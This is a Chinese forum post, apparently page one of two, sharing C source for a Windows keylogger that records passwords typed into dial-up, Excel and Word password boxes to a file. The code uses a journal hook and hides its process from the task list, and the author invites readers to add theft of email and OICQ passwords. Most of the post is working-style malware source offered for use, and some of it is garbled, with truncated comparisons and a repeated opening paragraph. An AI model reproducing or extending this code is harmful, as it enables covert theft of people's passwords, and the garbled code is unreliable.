整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。 整理东西的时候翻出了个几年前的程序,功能是当用户输入拨号、EXCEL,WORD密码时,将其保存在一个文件里。程序用的是日志钩子,这样就不用象其他全局HOOK那样,必须单写一个DLL。 为了让初学者深入了解,将源代码贴上来,(SDK程序VC,BCB等WIN下的C编译器均可编译)象现在那些记录E-MAIL密码,OICQ密码等工具都是这原理,俺当时写着玩意的时候还没有OICQ。 有兴趣的可以自己加上。 #include #define KeyPMask 0x80000000 #define SERVICE_PROC 1 #define UNSERVICE_PROC 0 #define RUN "\\GmkMon.exe" typedef struct tagKEYDATA{ char kKey; SHORT kShift; SHORT kCaps; SHORT kNum; BOOL bShift; BOOL bCaps; BOOL bNum; }KEYDATA,*LPKEYDATA; HHOOK hHook=NULL; DWORD (WINAPI *RegisterServiceProcess)(DWORD,DWORD); LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ; LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam); BOOL WINAPI HideProc(int mode) { HINSTANCE DLLInst=LoadLibrary("KERNEL32.DLL"); if(DLLInst) { RegisterServiceProcess=(DWORD(WINAPI *)(DWORD,DWORD)) GetProcAddress(DLLInst,"RegisterServiceProcess"); if(RegisterServiceProcess) { RegisterServiceProcess(GetCurrentProcessId(),mode); return TRUE; } else return FALSE; } else return FALSE; } BOOL WINAPI IsPassWindow() { HWND hWnd,curHwnd; TCHAR szTemp[MAX_PATH]; DWORD dwsTyle; hWnd=GetActiveWindow(); if(hWnd==NULL) return FALSE; curHwnd =hWnd; while(curHwnd!=NULL) { hWnd=curHwnd; curHwnd=GetParent(hWnd); } dwsTyle=GetWindowLong(hWnd,GWL_STYLE); if(dwsTyle & ES_PASSWORD) //普通密码框 return TRUE; else if(!lstrcmp(szTemp,"EDTBX")) //Excel密码 return TRUE; else if(!lstrcmp(szTemp,"RichEdit20W") && (dwsTyle & WS_SYSMENU)) return TRUE; //WORD密码 GetWindowText(hWnd,szTemp, sizeof(szTemp)); if(!strncmp(szTemp,"连接到",6)) //拨号网络 return TRUE; return FALSE; } TCHAR WINAPI GetKey(int nKey) { KEYDATA kd; kd.kShift=GetKeyState(VK_SHIFT); kd.kCaps=GetKeyState(0x14); kd.kNum=GetKeyState(0x90); kd.bShift=(kd.kShift & KeyPMask)==KeyPMask; kd.bCaps=(kd.kCaps & 1)==1; kd.bNum=(kd.kNum & 1)==1; if(nKey>=48 && nKey if(!kd.bShift) return (kd.kKey=nKey); if(nKey>=65 && nKey { if(!kd.bCaps) if(kd.bShift) kd.kKey=nKey; else kd.kKey=nKey+32; else if (kd.bShift) kd.kKey=nKey+32; else kd.kKey=nKey; return kd.kKey; } if(nKey>=96 && nKey if(kd.bNum) return (kd.kKey=(nKey-96+48)); if(nKey>=186 && nKey { switch(nKey) { case 186: if(!kd.bShift) kd.kKey=’;’;else kd.kKey=’:’; break; case 187: if(!kd.bShift) kd.kKey=’=’;else kd.kKey=’+’ ; break; case 188: if (!kd.bShift) kd.kKey=’,’;else kd.kKey=’ ’ ; break; case 191: if (!kd.bShift) kd.kKey=’/’;else kd.kKey=’?’ ; break; case 192: if (!kd.bShift) kd.kKey=’`’ ; else kd.kKey=’~’ ; break; case 219: if (!kd.bShift) kd.kKey=’[’ ; else kd.kKey=’{’ ; break; case 220: if (!kd.bShift) kd.kKey=’\\’ ; else kd.kKey=’|’ ; break; case 221: if (!kd.bShift) kd.kKey=’]’ ; else kd.kKey=’}’ ; break; case 222: if (!kd.bShift) kd.kKey=’\\’; else kd.kKey=’\\’; break; default:kd.kKey=’n’ ;break; } if(kd.kKey!=’n’) return kd.kKey; } }
[1] [2] 下一页 |